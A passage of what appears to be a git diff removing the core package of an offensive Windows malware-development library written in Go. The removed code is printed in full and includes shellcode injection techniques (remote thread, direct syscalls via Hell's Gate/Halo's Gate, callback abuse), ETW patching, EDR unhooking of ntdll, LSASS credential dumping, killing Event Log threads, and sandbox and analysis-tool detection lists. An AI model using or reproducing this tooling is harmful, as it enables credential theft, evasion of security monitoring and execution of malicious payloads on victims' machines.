break
}
}
return offset
}
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
var badstring *sstring
start, size, badstring = getMLO(i)
modulepath = badstring.String()
return
}
// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
func uint16Down(b []byte, idx uint16) uint16 {
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint16(b[0]) - idx | uint16(b[1])<<8
}
func uint16Up(b []byte, idx uint16) uint16 {
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint16(b[0]) + idx | uint16(b[1])<<8
}
func contains(slice []string, item string) bool {
set := make(map[string]struct{}, len(slice))
for _, s := range slice {
set[s] = struct{}{}
}
_, ok := set[item]
return ok
}
-1
View File
@@ -1 +0,0 @@
package core
-54
View File
@@ -1,54 +0,0 @@
package core
import (
"time"
//"errors"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
func ConvertStringSecurityDescriptorToSecurityDescriptorW(p1 uintptr, p2 uintptr, p3 uintptr, p4 uintptr) error {
advapi32 := windows.NewLazySystemDLL("advapi32.dll")
procConvertStringSecurityDescriptorToSecurityDescriptorW := advapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW")
r, _, _ := syscall.Syscall6(
procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(),
4,
uintptr(p1),
uintptr(p2),
uintptr(p3),
uintptr(p4),
0,
0,
)
if r != 0 {
return syscall.Errno(r)
}
return nil
}
func BlockHandle() error {
sddl, _ := syscall.UTF16PtrFromString("D:P(D;OICI;GA;;;WD)(A;OICI;GA;;;SY)(A;OICI;GA;;;OW)")
var sec_descriptor *windows.SECURITY_DESCRIPTOR = nil
ConvertStringSecurityDescriptorToSecurityDescriptorW(
uintptr(unsafe.Pointer(sddl)),
1,
uintptr(unsafe.Pointer(sec_descriptor)),
0,
)
windows.SetKernelObjectSecurity(
windows.CurrentProcess(),
windows.DACL_SECURITY_INFORMATION,
sec_descriptor,
)
sec := uintptr(unsafe.Pointer(sec_descriptor))
windows.LocalFree(windows.Handle(sec))
time.Sleep(10000 * time.Second)
return nil
}
-81
View File
@@ -1,81 +0,0 @@
package core
var drivers []string = []string{ // Sandbox drivers taken from https://github.com/LordNoteworthy/al-khaser
"C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
"C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
"C:\\Windows\\System32\\drivers\\VBoxSF.sys",
"C:\\Windows\\System32\\drivers\\VBoxVideo.sys",
"C:\\Windows\\System32\\vboxdisp.dll",
"C:\\Windows\\System32\\vboxhook.dll",
"C:\\Windows\\System32\\vboxmrxnp.dll",
"C:\\Windows\\System32\\vboxogl.dll",
"C:\\Windows\\System32\\vboxoglarrayspu.dll",
"C:\\Windows\\System32\\vboxservice.exe",
"C:\\Windows\\System32\\vboxtray.exe",
"C:\\Windows\\System32\\VBoxControl.exe",
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
"C:\\Windows\\System32\\drivers\\vmhgfs.sys",
"C:\\Windows\\System32\\drivers\\vmci.sys",
"C:\\Windows\\System32\\drivers\\vmmemctl.sys",
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
"C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
"C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
}
var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
"vboxservice.exe",
"vboxtray.exe",
"vmtoolsd.exe",
"vmwaretray.exe",
"vmware.exe",
"vmware-vmx.exe",
"vmwareuser",
"VGAuthService.exe",
"vmacthlp.exe",
"vmsrvc.exe",
"vmusrvc.exe",
"xenservice.exe",
"qemu-ga.exe",
// Some extra processes (added by me)
"wireshark.exe",
"Procmon.exe",
"Procmon64.exe",
"volatily.exe",
"volatily3.exe",
"DumpIt.exe",
"dumpit.exe",
}
var hostnames_list []string = []string{
"Sandbox",
"SANDBOX",
"malware",
"virus",
"Virus",
"sample",
"debug",
"USER-PC",
"analysis",
"cuckoo",
"cuckoofork",
"Cuckoo",
}
var usernames_list []string = []string{
"sandbox",
"virus",
"malware",
"debug4fun",
"debug",
"sys",
"user1",
"Virtual",
"virtual",
"analyis",
"trans_iso_0",
"j.yoroi",
"venuseye",
"VenusEye",
"VirusTotal",
"virustotal",
}
-233
View File
@@ -1,233 +0,0 @@
package core
import (
//"fmt"
"errors"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func CreateRemoteThread(shellcode []byte, pid int) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
var pHandle uintptr
if pid == 0 {
pHandle, _, _ = GetCurrentProcess.Call()
} else {
pHandle, _, _ = OpenProcess.Call(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
uintptr(0),
uintptr(pid),
)
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(pHandle),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
WriteProcessMemory.Call(
uintptr(pHandle),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(
uintptr(pHandle),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
CreateRemoteThreadEx.Call(
uintptr(pHandle),
0,
0,
addr,
0,
0,
0,
)
_, _, errCloseHandle := CloseHandle.Call(pHandle)
if errCloseHandle != nil {
return errCloseHandle
}
return nil
}
/*
Hell's Gate + Halo's Gate technique
*/
func CreateRemoteThreadHalos(shellcode []byte) error {
NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
if err != nil {
return err
}
NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory")
if err != nil {
return err
}
NtCreateThreadEx, err := GetSysId("NtCreateThreadEx")
if err != nil {
return err
}
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, err := Syscall(
NtAllocateVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(&regionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
syscall.PAGE_READWRITE,
)
if r1 != 0 {
return err
}
Syscall(
NtWriteVirtualMemory,
uintptr(0xffffffffffffffff),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
var oldProtect uintptr
r2, err := Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
uintptr(unsafe.Pointer(&regionsize)),
syscall.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
if r2 != 0 {
return err
}
var hhosthread uintptr
r3, err := Syscall(
NtCreateThreadEx,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
0,
uintptr(0xffffffffffffffff),
addr,
0,
uintptr(0),
0,
0,
0,
0,
)
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
if r3 != 0 {
return err
}
/*var addr uintptr
regionsize := uintptr(len(shellcode))
r1, err := Syscall(
NtAllocateVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(&regionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
syscall.PAGE_READWRITE,
)
if r1 != 0 {
fmt.Println("x")
return err
}
Syscall(
NtWriteVirtualMemory,
uintptr(0xffffffffffffffff),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
var oldProtect uintptr
r2, err := Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
uintptr(unsafe.Pointer(&regionsize)),
syscall.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
if r2 != 0 {
fmt.Println("xx")
return err
}
var hhosthread uintptr
r3, err := Syscall(
NtCreateThreadEx,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
0,
uintptr(0xffffffffffffffff),
addr,
0,
uintptr(0),
0,
0,
0,
0,
)
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
if r3 != 0 {
fmt.Println("xxx")
return err
}*/
return nil
}
-102
View File
@@ -1,102 +0,0 @@
package core
import (
"unsafe"
"golang.org/x/sys/windows"
)
func EnumSystemLocales(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
addr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if addr == 0 {
return err
}
RtlMoveMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
EnumSystemLocalesEx.Call(
addr,
0,
0,
0,
)
return nil
}
/*
Hell's Gate + Halo's Gate technique
*/
func EnumSystemLocalesHalos(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
if err != nil {
return err
}
NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
pHandle, _, _ := GetCurrentProcess.Call()
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, err := Syscall(
NtAllocateVirtualMemory,
uintptr(pHandle),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(&regionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if r1 != 0 {
return err
}
Syscall(
NtWriteVirtualMemory,
uintptr(pHandle),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
EnumSystemLocalesEx.Call(
addr,
0,
0,
0,
)
return nil
}
-41
View File
@@ -1,41 +0,0 @@
package core
import (
"encoding/hex"
"syscall"
"unsafe"
)
func PatchEtw() error {
ntdll := syscall.NewLazyDLL("ntdll.dll")
procWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
procEtwEventWrite := ntdll.NewProc("EtwEventWrite")
procEtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
procEtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
procEtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
procEtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
dataAddr := []uintptr{
procEtwEventWriteFull.Addr(),
procEtwEventWrite.Addr(),
procEtwEventWriteEx.Addr(),
procEtwEventWriteString.Addr(),
procEtwEventWriteTransfer.Addr(),
}
for i := range dataAddr {
data, _ := hex.DecodeString("4833C0C3")
procWriteProcessMemory.Call(
uintptr(0xffffffffffffffff),
uintptr(dataAddr[i]),
uintptr(unsafe.Pointer(&data[0])),
uintptr(len(data)),
0,
)
}
return nil
}
-62
View File
@@ -1,62 +0,0 @@
package core
import (
"unsafe"
"golang.org/x/sys/windows"
)
func EtwpCreateEtwThread(shellcode []byte) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
addr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return err
}
RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtect.Call(
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
thread, _, err := EtwpCreateEtwThread.Call(
addr,
uintptr(0),
)
if thread == 0 {
return err
}
r, _, err := WaitForSingleObject.Call(
thread,
0xFFFFFFFF,
)
if r != 0 {
return err
}
return nil
}
-78
View File
@@ -1,78 +0,0 @@
package core
import (
"errors"
"strings"
)
var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
func Inject(shellcode []byte, technique string, pid int) error {
// Check especified injection technique
if (strings.ToLower(technique) == "createremotethread") || (strings.ToLower(technique) == "1") {
err := CreateRemoteThread(shellcode, pid)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "createremotethreadhalos") || (strings.ToLower(technique) == "2") {
err := CreateRemoteThreadHalos(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "createprocess") || (strings.ToLower(technique) == "3") {
err := CreateProcess(shellcode, pid)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "enumsystemlocales") || (strings.ToLower(technique) == "4") {
err := EnumSystemLocales(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "enumsystemlocaleshalos") || (strings.ToLower(technique) == "5") {
err := EnumSystemLocalesHalos(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "fibers") || (strings.ToLower(technique) == "6") {
err := Fibers(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "queueuserapc") || (strings.ToLower(technique) == "7") {
err := QueueUserApc(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "uuidfromstring") || (strings.ToLower(technique) == "8") {
err := UuidFromString(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "etwpcreateetwthread") || (strings.ToLower(technique) == "9") {
err := EtwpCreateEtwThread(shellcode)
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "rtlcreateuserthread") || (strings.ToLower(technique) == "10") {
err := RtlCreateUserThread(shellcode, pid)
if err != nil {
return err
}
} else {
return errors.New("invalid shellcode injection technique!")
}
return nil
}
-75
View File
@@ -1,75 +0,0 @@
package core
/*
References:
https://github.com/calebsargent/GoProcDump
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
*/
import (
"os"
"syscall"
"unsafe"
mproc "github.com/D3Ext/maldev/process"
)
func DumpLsass(output string) error {
err := ElevateProcessToken()
if err != nil {
return err
}
all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
if err != nil {
return err
}
lsass_pid := all_lsass_pids[0]
//set up Win32 APIs
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var MiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var OpenProcess = kernel32.NewProc("OpenProcess")
var CreateFileW = kernel32.NewProc("CreateFileW")
// error not handle because it's unstable
processHandle, _, _ := OpenProcess.Call(
uintptr(0xFFFF),
uintptr(1),
uintptr(lsass_pid),
)
// Create memory dump
os.Create(output)
path, _ := syscall.UTF16PtrFromString(output)
fileHandle, _, _ := CreateFileW.Call(
uintptr(unsafe.Pointer(path)),
syscall.GENERIC_WRITE,
syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
ret, _, err := MiniDumpWriteDump.Call(
uintptr(processHandle),
uintptr(lsass_pid),
uintptr(fileHandle),
0x00061907,
0,
0,
0,
)
if ret == 0 {
os.Remove(output)
return err
}
return nil
}
-184
View File
@@ -1,184 +0,0 @@
package core
import (
"errors"
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func GetEventLogPid() (uint32, error) {
var ssp windows.SERVICE_STATUS_PROCESS
var dwBytesNeeded uint32
scm, err := windows.OpenSCManager(
nil,
nil,
windows.SERVICE_QUERY_STATUS,
)
if err != nil {
return 0, err
}
eventlog, _ := syscall.UTF16PtrFromString("EventLog")
svc, err := windows.OpenService(
scm,
eventlog,
windows.SERVICE_QUERY_STATUS,
)
if err != nil {
return 0, err
}
err = windows.QueryServiceStatusEx(
svc,
windows.SC_STATUS_PROCESS_INFO,
(*byte)(unsafe.Pointer(&ssp)),
uint32(unsafe.Sizeof(ssp)),
&dwBytesNeeded,
)
if err != nil {
windows.CloseServiceHandle(svc)
windows.CloseServiceHandle(scm)
return 0, err
}
return ssp.ProcessId, nil
}
// Recommended function
func Phant0m(eventlog_pid uint32) error {
return phant0m(eventlog_pid, false)
}
// This function does the same but also prints threads IDs
func Phant0mWithOutput(eventlog_pid uint32) error {
return phant0m(eventlog_pid, true)
}
// Main function
func phant0m(eventlog_pid uint32, verbose bool) error {
err := ElevateProcessToken()
if err != nil {
return err
}
ntdll := windows.NewLazyDLL("ntdll.dll")
NtQueryInformationThread := ntdll.NewProc("NtQueryInformationThread")
advapi32 := windows.NewLazyDLL("advapi32.dll")
I_QueryTagInformation := advapi32.NewProc("I_QueryTagInformation")
kernel32 := windows.NewLazyDLL("kernel32.dll")
OpenThread := kernel32.NewProc("OpenThread")
OpenProcess := kernel32.NewProc("OpenProcess")
TerminateThread := kernel32.NewProc("TerminateThread")
CloseHandle := kernel32.NewProc("CloseHandle")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
CreateToolhelp32Snapshot := kernel32.NewProc("CreateToolhelp32Snapshot")
Thread32First := kernel32.NewProc("Thread32First")
var hThreads uintptr
hThreads, _, _ = CreateToolhelp32Snapshot.Call(
windows.TH32CS_SNAPTHREAD,
0,
)
if hThreads == 0 {
return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
}
tbi := PTHREAD_BASIC_INFORMATION{}
te32 := windows.ThreadEntry32{}
te32.Size = uint32(unsafe.Sizeof(te32))
Thread32First.Call(
hThreads,
uintptr(unsafe.Pointer(&te32)),
)
for true {
if te32.OwnerProcessID == eventlog_pid {
hEvtThread, _, _ := OpenThread.Call(
windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
uintptr(0),
uintptr(te32.ThreadID),
)
if hEvtThread == 0 {
return errors.New("An error has occurred calling OpenThread")
}
NtQueryInformationThread.Call(
uintptr(hEvtThread),
0,
uintptr(unsafe.Pointer(&tbi)),
0x30,
0,
)
hEvtProcess, _, _ := OpenProcess.Call(
windows.PROCESS_VM_READ,
uintptr(0),
uintptr(te32.OwnerProcessID),
)
if hEvtProcess == 0 {
fmt.Println("2")
return errors.New("An error has occurred calling OpenProcess")
}
if tbi.pTebBaseAddress != 0 {
scTagQuery := SC_SERVICE_TAG_QUERY{}
var hTag byte
var pN uintptr
ReadProcessMemory.Call(
hEvtProcess,
tbi.pTebBaseAddress+0x1720,
uintptr(unsafe.Pointer(&hTag)),
unsafe.Sizeof(pN),
0,
)
scTagQuery.processId = te32.OwnerProcessID
scTagQuery.serviceTag = uint32(hTag)
I_QueryTagInformation.Call(
0,
1, // ServiceNameFromTagInformation
uintptr(unsafe.Pointer(&scTagQuery)),
)
if scTagQuery.pBuffer != nil {
if verbose {
fmt.Println(" Thread found:", te32.ThreadID)
}
TerminateThread.Call(
uintptr(hEvtThread),
0,
)
}
CloseHandle.Call(hEvtThread)
CloseHandle.Call(hEvtProcess)
}
}
err := windows.Thread32Next(
windows.Handle(hThreads),
&te32,
)
if err != nil {
break
}
}
CloseHandle.Call(hThreads)
return nil
}
-81
View File
@@ -1,81 +0,0 @@
package core
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// Receives function address and arguments
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
errcode = bpSyscall(callid, argh...)
if errcode != 0 {
err = fmt.Errorf("non-zero return from syscall")
}
return errcode, err
}
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
func Execute(shellcode []byte) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
// Allocate memory
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return fmt.Errorf("VirtualAlloc failed and returned 0")
}
RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
// Protect memory
VirtualProtect.Call(
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
// Execute shellcode
_, _, errSyscall := syscall.Syscall(
addr,
0,
0,
0,
0,
)
if errSyscall != 0 {
return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error())
}
return nil
}
func WriteMemory(inbuf []byte, destination uintptr) {
for index := uint32(0); index < uint32(len(inbuf)); index++ {
writePtr := unsafe.Pointer(destination + uintptr(index))
v := (*byte)(writePtr)
*v = inbuf[index]
}
}
-239
View File
@@ -1,239 +0,0 @@
package core
/*
References:
https://github.com/RedLectroid/APIunhooker
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
*/
import (
"bytes"
"errors"
"fmt"
"io/ioutil"
"strings"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
"github.com/Binject/debug/pe"
)
// This function unhooks given functions of especified dll
func ClassicUnhook(funcnames []string, dllpath string) error {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
GetProcAddress := kernel32.NewProc("GetProcAddress")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
// should be full path: C:\\Windows\\System32\\ntdll.dll
lib, _ := syscall.LoadLibrary(dllpath)
defer syscall.FreeLibrary(lib)
for _, f := range funcnames {
var assembly_bytes []byte
procAddr, _ := syscall.GetProcAddress(lib, f)
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
funcBytes := ptr_bytes[:5:5]
for i := 0; i < 5; i++ {
assembly_bytes = append(assembly_bytes, funcBytes[i])
}
pHandle, _, _ := GetCurrentProcess.Call()
// Convert dll name to pointer
lib_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
func_ptr, _ := windows.UTF16PtrFromString(f)
addr, _, _ := GetProcAddress.Call(
moduleHandle,
uintptr(unsafe.Pointer(func_ptr)),
)
// Overwrite address with original function bytes
WriteProcessMemory.Call(
pHandle,
addr,
uintptr(unsafe.Pointer(&assembly_bytes[0])),
5,
uintptr(0),
)
}
return nil
}
// Write to function address: 0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
func PatchUnhook(func_to_unhook string) error {
return nil // TODO
}
// Load fresh DLL copy in memory
func FullUnhook(dllpath string) error {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
dll_f, err := ioutil.ReadFile(dllpath)
if err != nil {
return err
}
pe_f, err := pe.Open(dllpath)
if err != nil {
return err
}
defer pe_f.Close()
text_section := pe_f.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
dllBytes := dll_f[text_section.Offset:text_section.Size]
dll_load, err := windows.LoadDLL(dllpath)
if err != nil {
return err
}
handle := dll_load.Handle
dllBase := uintptr(handle)
dllOffset := uint(dllBase) + uint(text_section.VirtualAddress)
var oldfartcodeperms uintptr
regionsize := uintptr(len(dllBytes))
handlez := uintptr(0xffffffffffffffff)
runfunc, _, _ := ProtectVirtualMemory.Call(
handlez,
uintptr(unsafe.Pointer(&dllOffset)),
uintptr(unsafe.Pointer(&regionsize)),
syscall.PAGE_EXECUTE_READWRITE,
uintptr(unsafe.Pointer(&oldfartcodeperms)),
)
if runfunc != uintptr(windows.STATUS_SUCCESS) {
return fmt.Errorf("An error has occurred, ProtectVirtualMemory returned: %x\n", runfunc)
}
for i := 0; i < len(dllBytes); i++ {
loc := uintptr(dllOffset + uint(i))
mem := (*[1]byte)(unsafe.Pointer(loc))
(*mem)[0] = dllBytes[i]
}
runfunc, _, _ = ProtectVirtualMemory.Call(
handlez,
uintptr(unsafe.Pointer(&dllOffset)),
uintptr(unsafe.Pointer(&regionsize)),
oldfartcodeperms,
uintptr(unsafe.Pointer(&oldfartcodeperms)),
)
if runfunc != 0 {
return errors.New("an error has occurred")
}
return nil
}
func PerunsUnhook() error {
WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
var si syscall.StartupInfo
var pi syscall.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return err
}
err = syscall.CreateProcess(
nil,
cmdline,
nil,
nil,
false,
windows.CREATE_NEW_CONSOLE|windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
return err
}
time.Sleep(800 * time.Millisecond)
ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
if ntd == 0 {
return errors.New("an error has occurred while loading ntdll.dll")
}
addrMod := ntd
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
if ntHeader == nil {
return errors.New("an error has occurred while getting NT header")
}
time.Sleep(50 * time.Millisecond)
modSize := ntHeader.OptionalHeader.SizeOfImage
if modSize == 0 {
return errors.New("an error has occurred while getting NT header size")
}
cache := make([]byte, modSize)
var lpNumberOfBytesRead uintptr
err = windows.ReadProcessMemory(
windows.Handle(uintptr(pi.Process)),
addrMod,
&cache[0],
uintptr(modSize),
&lpNumberOfBytesRead,
)
if err != nil {
return err
}
e := syscall.TerminateProcess(pi.Process, 0)
if e != nil {
return e
}
time.Sleep(50 * time.Millisecond)
pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
if err != nil {
return err
}
secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
cleanSyscalls := cache[startOffset:endOffset]
// Don't handle error as it may return false errors
WriteProcessMemory.Call(
uintptr(0xffffffffffffffff),
uintptr(addrMod+uintptr(startOffset)),
uintptr(unsafe.Pointer(&cleanSyscalls[0])),
uintptr(len(cleanSyscalls)),
0,
)
return nil
}
-94
View File
@@ -1,94 +0,0 @@
package core
/*
This file contains some useful functions which
act as a wrapper for native function so you can use them
like kernel32.dll original functions but using native ones
under the hood with Halo's Gate technique
*/
import (
"errors"
"unsafe"
)
// addr, err := VirtualAlloc(pHandle, 0, uintptr(len(shellcode)), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE)
func VirtualAlloc(handle uintptr, zero uintptr, regionsize uintptr, allocType uintptr, allocProtection uintptr) (uintptr, error) {
// Get syscall
sysId, err := GetSysId("NtAllocateVirtualMemory")
if err != nil {
return 0, err
}
var baseA uintptr
r, _ := Syscall(
sysId,
handle,
uintptr(unsafe.Pointer(&baseA)),
zero,
uintptr(unsafe.Pointer(&regionsize)),
allocType,
allocProtection,
)
if r != 0 {
return 0, errors.New("NtAllocateVirtualMemory syscall returned non-zero error code")
}
return baseA, nil
}
// err := VirtualProtect(pHandle, &addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
func VirtualProtect(pHandle uintptr, addr uintptr, regionsize uintptr, newProtect uintptr, oldProtect uintptr) error {
// Get syscall
sysId, err := GetSysId("NtProtectVirtualMemory")
if err != nil {
